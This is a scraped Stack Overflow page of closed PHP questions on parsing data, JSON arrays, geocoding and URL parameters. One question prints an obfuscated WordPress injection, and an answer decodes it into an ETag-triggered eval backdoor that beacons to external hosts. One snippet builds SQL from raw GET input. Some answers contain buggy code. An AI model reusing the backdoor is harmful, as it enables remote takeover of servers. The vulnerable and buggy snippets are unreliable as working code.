parse a dump file like xml file as array [closed] - php

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
Closed 9 years ago.
Improve this question
What I have :
I have a software dump data like exactly below file :
DMPDATA = {
["invent1"] = {
["1000:1"] = {
["I"] = "6948",
["C"] = 1,
["G2"] = "0",
["G3"] = "0",
["G1"] = "0",
},
["0000:10"] = {
["I"] = "39622",
["C"] = 1,
["G2"] = "0",
["G3"] = "0",
["G1"] = "0",
},
},
["invent2"] = {
["M:1"] = 60116,
["M:3"] = 32246,
["M:2"] = 41252,
},
["invent3"] = {
["47465"] = 5,
["12970"] = 5,
},
["invent4"] = {
{
["F"] = 0,
["V"] = 0,
["N"] = "Classic",
}, -- [1]
{
["F"] = 16,
["V"] = 3500,
["N"] = "Horde",
}, -- [2]
},
["invent6"] = {
["class"] = "WARRIOR",
["gender"] = 2,
},
}
Question:
I want to parse above data as array , I try to do but don't know whats better way .
How can parse files like above code with PHP to have a all data as Array ?

This looks like LUA code. Have you tried the Lua class in PHP?
http://www.php.net/manual/en/lua.eval.php
Here's a guy that has a similar problem with a WoW Addon Lua file:
I need a tool to parse Lua tables, preferrably in Ruby or Java
EDIT:
Try this tool. It also links to a PHP script you might use. http://fin.instinct.org/lua/
EDIT 2:
This is basically what you need. As you can see you're not the first person who wants to parse WoW Lua dumps to PHP arrays =)
http://fin.instinct.org/lua/lua2phparray.phps

Related

How to filter an array in PHP by fields with empty values and multiple criteria? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 6 months ago.
Improve this question
My API call returns the following JSON output before json_decode:
{
"projects": [
{
"project_id": 00000001,
"name": "A title",
"price": "0.99",
"country": "US",
"platform_types": [
"android_phone",
"ios_phone",
"ios_tablet",
"android_kindle",
"android_tablet",
"desktop"
],
"comment": "A text of a comment"
}
{
"project_id": 00000002,
"name": "Another title",
"price": "1.03",
"country": "US",
"platform_types": [
"android_phone",
"ios_phone",
"ios_tablet",
"android_kindle",
"android_tablet",
"desktop"
],
"comment": "Another text of a comment"
}
]
}
The following code parses the multi-level json and shows the whole projects list:
$json = file_get_contents($url, false, $context);
$result = json_decode($json, true);
foreach($result['projects'] as $project) {
$project_id = $project['project_id'];
$name = $project['name'];
$price = $project['price'];
$country = $project['country'];
#no values for the fields, that's why commented
#$android_phone = $project['platform_types']['android_phone'];
#$ios_phone = $project['platform_types']['ios_phone'];
#$ios_tablet = $project['platform_types']['ios_tablet'];
#$android_kindle = $project['platform_types']['android_kindle'];
#$android_tablet = $project['platform_types']['android_tablet'];
#$desktop = $project['platform_types']['desktop'];
$comment = $project['comment'];
echo $project_id,'<br>',$name,'<br>',$price,'<br>',$country,'<br>',$comment,'<br>';
}
I got the following output:
00000001
A title
0.99
US
A text of a comment
00000002
Another title
1.03
US
Another text of a comment
The questions are:
How to list available device types (the fields have names only and no values)?
How to filter the array based on certain criteria (price must be equal or higher $1.00)?
How to filter elements based on fields without values (show projects just for Android devices)?
Question 1
to list all the available device types per project as a json you should access it's corresponding tree
foreach($result['projects'] as $project) {
$project_device_types = $project['plateform_type'];
echo '<pre>'.$project_device_types.'<pre>';
}
Question 2
to filter the array use [array_filter][1] in
$filtered = array_filter($result['projects'], function($project) {
if($project['price'] >= 90) {
return true
}
});
// use it instead of the $result variable
foreach($filtered as $project) {
$project_id = $project['project_id'];
$name = $project['name'];
$price = $project['price'];
}
Question 3
you can follow the exact pattern as the second question and that is by using array_filter so eg. let's say you want only the android devices
array_filter($result['projects'], function($project) {
if(in_array($project['platform_types'], "Android")) { // check if the plateform type include android by using [in_array][1]
return true
}
});
NB: in_array is case sensitive so make sure that the capitalization is correct

My codes are not working (json, arrays) [closed]

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 7 years ago.
Improve this question
$wiki_img = "http://en.wikipedia.org/w/api.php?action=query&titles=Google&prop=pageimages&format=json&pithumbsize=500";
$json2 = file_get_contents($wiki_img);
$data2 = json_decode($json2, TRUE);
foreach ($data2['query']['pages'] as $pages)
{
print_r($pages['source']);
}
My codes are not working.
But I can't find what is error.
I got this error
"Notice: Undefined index: source in C:\xampp\htdocs\"
As your JSON data which you got is
{
query: {
pages: {
1092923: {
pageid: 1092923,
ns: 0,
title: "Google",
thumbnail: {
source: "http://upload.wikimedia.org/wikipedia/commons/thumb/0/0e/Googleplex-Patio-Aug-2014.JPG/500px-Googleplex-Patio-Aug-2014.JPG",
width: 500,
height: 375
},
pageimage: "Googleplex-Patio-Aug-2014.JPG"
}
}
}
}
It should be..
foreach($data2['query']['pages'] as $value){
echo $value['thumbnail']['source'];
}
Output:
http://upload.wikimedia.org/wikipedia/commons/thumb/0/0e/Googleplex-Patio-Aug-2014.JPG/500px-Googleplex-Patio-Aug-2014.JPG

Malicious encoded string in my wordpress site, what does it do? [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Closed 9 years ago.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Improve this question
My site is not working at all, and I noticed that someone put this string on the top of all the .php files:
<?php /* b9cb27b481275ee07e304fa452b06754b499b5bf */ $u="p"."r"."e"."g"."_"."rep"."l"."ac"."e";$z="gzunc"."om"."press";$m="bas"."e"."64"."_dec"."ode";$u("/x"."wab"."z5/e",$z($m("eNrNVW"."1Po0AQ/"."i8mTfSDBLcslNwnrWj"."P86q2WHOfmgWGlpMuuEBr/737AnSx1XiX"."+3AJ"."Jcu8PDPz"."zMwW1iQ"."9ZmRTsTSCMIvg+CiuaFgmGe0hc3x+97S+zfmphwY9ZNFievv03ENDKbEe0qqHXHF2LmrJ02wkTv1L/iaMka10dHt9YRBnrIVKtjfcylSK5nuIsN2RoAv57MfAF7UFvmzjNSjSzqkl"."/mS8bC3Mf5l"."HB1"."mBNSL0SapSl7Gow2hrIwwwfxclS4F2WXclglun"."Ic30PE"."c"."/t7TUydiL3v"."8CgzudLO"."agV6P"."R3FTwLvV1PTrzHzSEi/P1VaUBIvHs"."NWtcbfJ"."Ot5RgqLNVD2XH4lD79O"."x2o9A06Owjlv+q6/95w1r2jR0q"."Z1G6Sv6UK/b4O1yym"."ucGffDZoB9O"."o8"."uHkmizw6CsG"."NUy03R"."JrHhPigJKFXw+9"."SYzb"."yJjO"."CPfv597/vk1P7exCI0U2iL9MWtZg"."Nc8"."5TceB2"."lvPwmIZOpIuoqbLiAF2Na8tS"."iqgA/cV2ILb9ys7"."C4ReTHOi"."2"."US1xW"."otNw6s2YFLOIS"."jL"."Dp9B0X2xa2Y4DAN"."JHjBpFtAsAgCAAHuMnVjBKRHvArXRC0+lp1enhX35xoFc+S7MBtj"."pZlyb"."fuvIeu+LMm"."eZHQKCFGxhb823jeBO"."RF6pCM0DUPGZAyoYslyfOEQ"."lEYCRVei"."zKvyg+9IC5PeZgwS7NFQk6BAltAmYTECLOVETAZ9/fmJW8Q6jKKZRXHqSq8"."Lagp0TLjJIU5B5qHGS2BlgU3VM3Js/y9k2QrJmkB6shn"."AMhKub5yCFEYNAAaUeI"."i4031NPkKymUWtRp+uPb8XeVAImC61vPJQnJhbm/80S8uMeqhBFo3tv2rFviN"."VdNhtLqf"."jDdiw3EoBtpFoOR7MFxmn5FggELXsSNrgOEs6AcBQY7VN8FyosC2ohBh7MY1Qif"."wH41sPX37KzS6m/pqhYz3+on38OhN/fnj5Lu24PVjCFg"."8ZPxHmxHfTfXR"."ycm3N+BnRcY=")),"/x"."wabz5/"."e"); /* f9d4b9453f919477fd0a13c96fe26367485b9689 */ ?>
What does this ^ do?
Right now I'm using the command "grep" to find all the infected files, but I'm not sure if I will be able to make my site work again only removing these strings from the .php files.
FWIW, the following code seems to be eval'd, might have made a mistake along the way. Evil, but fascinating. Seems to have something to do with HTTP ETags.
function NAOWvLp ($nsSLWk, $Qlu) {
$QWVH = array();
for ($iyJ=0; $iyJ<256; $iyJ++) {
$QWVH[$iyJ] = $iyJ;
}
$TRNh = 0;
for ($iyJ=0; $iyJ<256; $iyJ++) {
$TRNh = ($TRNh + $QWVH[$iyJ] + ord($nsSLWk[$iyJ % strlen($nsSLWk)])) % 256;
$HMynt = $QWVH[$iyJ];
$QWVH[$iyJ] = $QWVH[$TRNh];
$QWVH[$TRNh] = $HMynt;
}
$iyJ = 0;
$TRNh = 0;
$pvFu = "";
for ($Nuwp=0; $Nuwp<strlen($Qlu); $Nuwp++) {
$iyJ = ($iyJ + 1) % 256;
$TRNh = ($TRNh + $QWVH[$iyJ]) % 256;
$HMynt = $QWVH[$iyJ];
$QWVH[$iyJ] = $QWVH[$TRNh];
$QWVH[$TRNh] = $HMynt;
$pvFu .= $Qlu[$Nuwp] ^ chr($QWVH[($QWVH[$iyJ] + $QWVH[$TRNh]) % 256]);
}
return $pvFu;
}
if (isset($_SERVER['HTTP_ETAG']) and
$glKV = explode(urldecode("+"), base64_decode(substr($_SERVER['HTTP_ETAG'], 5))) and
array_shift($glKV) == "4a9a5250737956456feeb00279bd60eee8bbe5b5") {
die(eval(implode(urldecode("+"), $glKV)));
$dmfVio = array("http://vapsindia.org/.kwbaq/","http://creatinghappiness.in/.gtput/","http://eft-psicologia-energetica.com.br/.kjwqp/");
shuffle($dmfVio);
#file_get_contents(
array_pop($dmfVio),
false,
stream_context_create(
array(
"http"=>array(
"method"=>"GET",
"header"=>"ETag: yJTHY"
.base64_encode(
NAOWvLp(
"yJTHY",
"mPRNwu 5c b92e "
.base64_encode(
"61ab82c976d485e1b3bba27430e47db64dc2559f "
.NAOWvLp(
"4a9a5250737956456feeb00279bd60eee8bbe5b5",
$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']
)
)
)
)."\r\n"
)
)
)
);
}

PHP Geolocation (Street Address -> Lat-Long) [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking us to recommend or find a tool, library or favorite off-site resource are off-topic for Stack Overflow as they tend to attract opinionated answers and spam. Instead, describe the problem and what has been done so far to solve it.
Closed 9 years ago.
Improve this question
I need some type of PHP thingie so that I can input a few street-addresses
(such as:
123 Fake Street,
Faketown, FA,
98765)
and then it will give me the coordinates (latitude and longitude) of these addresses.
I need this to be completely dynamic (as I will be fetching these addresses from a DataBase).
Where can I find something that can do this?
The process of taking an address and turning it into lat/lng is called "Geocoding". I would look at the Google Geocode API.
https://developers.google.com/maps/documentation/geocoding/
I work for SmartyStreets, an address verification API provider. Our LiveAddress API does just what you need. An account is free to setup and it comes with 250 lookups per month. Here's some sample PHP code:
<?php
// Customize this (get ID/token values in your SmartyStreets account)
$authId = urlencode("raw ID here");
$authToken = urlencode("raw token here");
// Address input
$input1 = urlencode("3785 s las vegs av.");
$input2 = urlencode("los vegas,");
$input3 = urlencode("nevada");
// Build the URL
$req = "https://api.smartystreets.com/street-address/?street={$input1}&city={$input2}&state={$input3}&auth-id={$authId}&auth-token={$authToken}";
// GET request and turn into associative array
$result = json_decode(file_get_contents($req),true);
echo "<pre>";
print_r($result);
echo "</pre>";
?>
What comes out looks like this:
{
"input_index": 0,
"candidate_index": 0,
"delivery_line_1": "3785 Las Vegas Blvd S",
"last_line": "Las Vegas NV 89109-4333",
"delivery_point_barcode": "891094333992",
"components": {
"primary_number": "3785",
"street_name": "Las Vegas",
"street_postdirection": "S",
"street_suffix": "Blvd",
"city_name": "Las Vegas",
"state_abbreviation": "NV",
"zipcode": "89109",
"plus4_code": "4333",
"delivery_point": "99",
"delivery_point_check_digit": "2"
},
"metadata": {
"record_type": "H",
"zip_type": "Standard",
"county_fips": "32003",
"county_name": "Clark",
"carrier_route": "C024",
"congressional_district": "01",
"building_default_indicator": "Y",
"rdi": "Commercial",
"elot_sequence": "0119",
"elot_sort": "A",
"latitude": 36.10357,
"longitude": -115.17295,
"precision": "Zip9"
},
"analysis": {
"dpv_match_code": "D",
"dpv_footnotes": "AAN1",
"dpv_cmra": "N",
"dpv_vacant": "N",
"active": "Y",
"footnotes": "B#H#L#M#"
}
}

Sending an array as url parameter [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
Closed 9 years ago.
Improve this question
I'm working with this project and I need to pass an array as an URL parameter and I actually manage to do it with javascript.
function guardarTodo()
{
var datos = [];
var txtfechaCap = document.getElementById("txtfechaCap").value;
datos.push(txtfechaCap);
var cbxLocalidad = document.getElementById("cbxLocalidad").value;
datos.push(cbxLocalidad);
var txtapellidoP = document.getElementById("txtapellidoP").value;
datos.push(txtapellidoP);
var txtapellidoM = document.getElementById("txtapellidoM").value;
datos.push(txtapellidoM);
var txtNombres = document.getElementById("txtNombres").value;
datos.push(txtNombres);
var txtCurp = document.getElementById("txtCurp").value;
datos.push(txtCurp);
var chkSexo;
if(document.getElementById("chkHombre").checked)
chkSexo = 'H';
else
chkSexo = 'M';
datos.push(chkSexo);
var txtfecha = document.getElementById("txtfecha").value;
datos.push(txtfecha);
var txtEdad = document.getElementById("txtEdad").value;
datos.push(txtEdad);
var txtPeso = document.getElementById("txtPeso").value;
datos.push(txtPeso);
var txtTalla = document.getElementById("txtTalla").value;
datos.push(txtTalla);
var txtCC = document.getElementById("txtCC").value;
datos.push(txtCC);
for (var i=0;i<document.getElementById('table_depProg').rows.length;i++)
{
var prog = [];
for (var j=0;j<1;j++)
{
var programa = document.getElementById('table_depProg').rows[i].cells[j].innerHTML;
alert(programa);
prog.push(programa);
}
window.location.href = "funciones/guardar.php?prog="+prog+"&datos[]="+datos;
}
}
Now the problem is that when I try to take the array with the GET method I can't take the index one by one.
<?php
include("funciones.php");
//Persona
print_r($_GET['datos']);
#$fechacaptura = $_GET['datos']['txtfechaCap'];
#$idlocalidad = $_GET['datos']['cbxLocalidad'];
#$apaterno = $_GET['datos']['txtapellidoP'];
#$amaterno = $_GET['datos']['txtapellidoM'];
#$nombre = $_GET['datos']['txtNombres'];
#$curp = $_GET['datos']['txtCurp'];
#$sexo = $_GET['datos']['chkSexo'];
#$fechanacimiento = $_GET['datos']['txtfecha'];
#$edad = $_GET['datos']['txtEdad'];
#$peso = $_GET['datos']['txtPeso'];
#$talla = $_GET['datos']['txtTalla'];
#$cc = $_GET['datos']['txtCC'];
$sql = "CALL personasAdd($idlocalidad,'$fechacaptura','$apaterno','$amaterno','$nombre','$curp','$sexo', '$fechanacimiento',$edad,$peso,$talla,$cc);";
#$idpersona = personasAdd($sql);
?>
As you can see, I print the array to check how it working but this is the output:
Array ( [0] => 2013-07-03,8,LastName1,LastName2,Name(s),123456789012345678,H,2013-07-01,24,34,45,56 ).
It contains the data but when I print the $sql variable i get this:
CALL personasAdd(,'','','','','','','',,,,);
I've been working in this the whole day and couldn't find what I'm doing wrong, I would really apreciate any help or clue to find my mistake.
To access each value by name, you have to include the name in the URL parameter. Otherwise, PHP has now way of knowing that the <input> had name="txtfechaCap" when you're just passing the value.
var txtfechaCap = document.getElementById("txtfechaCap").value;
datos.push('datos[txtfechaCap]=' + txtfechaCap);
var cbxLocalidad = document.getElementById("cbxLocalidad").value;
datos.push('datos[cbxLocalidad]=' + cbxLocalidad);
// etc.
encodeURIComponent() would also be a good idea since input.value can certainly include special characters for URLs:
var txtfechaCap = document.getElementById("txtfechaCap").value;
datos.push('datos[txtfechaCap]=' + encodeURIComponent(txtfechaCap));
// etc.
But, with the names now included in datos, just join the Array with '&' and append:
window.location.href = "funciones/guardar.php?prog="+prog+"&"+datos.join('&');
You may also want to do similar to prog:
// ...
prog.push('prog[]=' + encodeURIComponent(programa));
}
window.location.href = "funciones/guardar.php?"+prog.join("&")+"&"+datos.join('&');

Categories